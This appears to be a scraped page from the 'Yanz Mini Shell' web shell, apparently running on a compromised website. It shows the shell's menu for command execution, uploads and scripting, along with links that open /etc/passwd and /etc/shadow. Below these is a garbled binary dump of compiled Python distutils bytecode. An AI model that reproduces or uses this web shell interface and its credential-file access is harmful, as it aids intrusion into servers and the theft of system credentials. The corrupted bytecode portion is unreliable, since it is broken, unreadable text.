Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
bootstrap
css
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
U &��_�Q � @ s d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlm Z d dl mZ d dlm Z d dlmZ dd� Zd d � Zdd� Zd d� Zd add� Zdd� Zd)dd�Zd a aadd� Zdd� Zd*dd�Zdd� Zd+dd �Zd!d"� Zd,d#d$�Z d-d%d&�Z!G d'd(� d(�Z"dS ).� N)�DistutilsPlatformError)�newer)�spawn)�log)�DistutilsByteCompileErrorc C s� t jdkrFdtj�� krdS dtj�� kr.dS dtj�� kr@dS tjS dt jkrZt jd S t jd ksntt d �sttjS t �� \} }}}}| �� � dd�} |� d d�}|� dd�}| d d� dkr�d| |f S | d d� dk�r,|d dk�r�d} dt |d �d |dd � f }ddd�}|d|tj 7 }n�| d d� dk�rLd| ||f S | d d � d!k�r�d!} t� d"tj�}|�|�}|�r�|�� }n>| d d � d#k�r�dd l}dd l} |�| j�� | ||�\} }}d$| ||f S )%N�ntZamd64� win-amd64z(arm)� win-arm32z(arm64)z win-arm64Z_PYTHON_HOST_PLATFORM�posix�uname�/� � �_�-� �linuxz%s-%sZsunosr �5Zsolarisz%d.%s� � Z32bitZ64bit)i���l ���� z.%sZaixz%s-%s.%s� �cygwinz[\d.]+�darwinz%s-%s-%s)�os�name�sys�version�lower�platform�environ�hasattrr �replace�int�maxsize�re�compile�ASCII�match�group�_osx_supportZdistutils.sysconfigZget_platform_osxZ sysconfigZget_config_vars) Zosname�host�releaser �machineZbitnessZrel_re�mr) � distutils� r/ �-/opt/python38/lib/python3.8/distutils/util.py�get_host_platform sR � r1 c C s8 t jdkr.dddd�} | �t j�d��p,t� S t� S d S )Nr �win32r r )Zx86Zx64ZarmZVSCMD_ARG_TGT_ARCH)r r �getr r1 )ZTARGET_TO_PLATr/ r/ r0 �get_platforma s �r4 c C sz t jdkr| S | s| S | d dkr.td| ��| d dkrFtd| ��| �d�}d|krd|�d� qP|snt jS t jj|� S )Nr r zpath '%s' cannot be absolute���zpath '%s' cannot end with '/'�.)r �sep� ValueError�split�remove�curdir�path�join)�pathname�pathsr/ r/ r0 �convert_pathl s r@ c C s� t jdkr<t j�|�s$t j�| |�S t j�| |dd � �S nNt jdkr|t j�|�\}}|d dkrn|dd � }t j�| |�S tdt j ��d S )Nr � r r �\z!nothing known about platform '%s')r r r<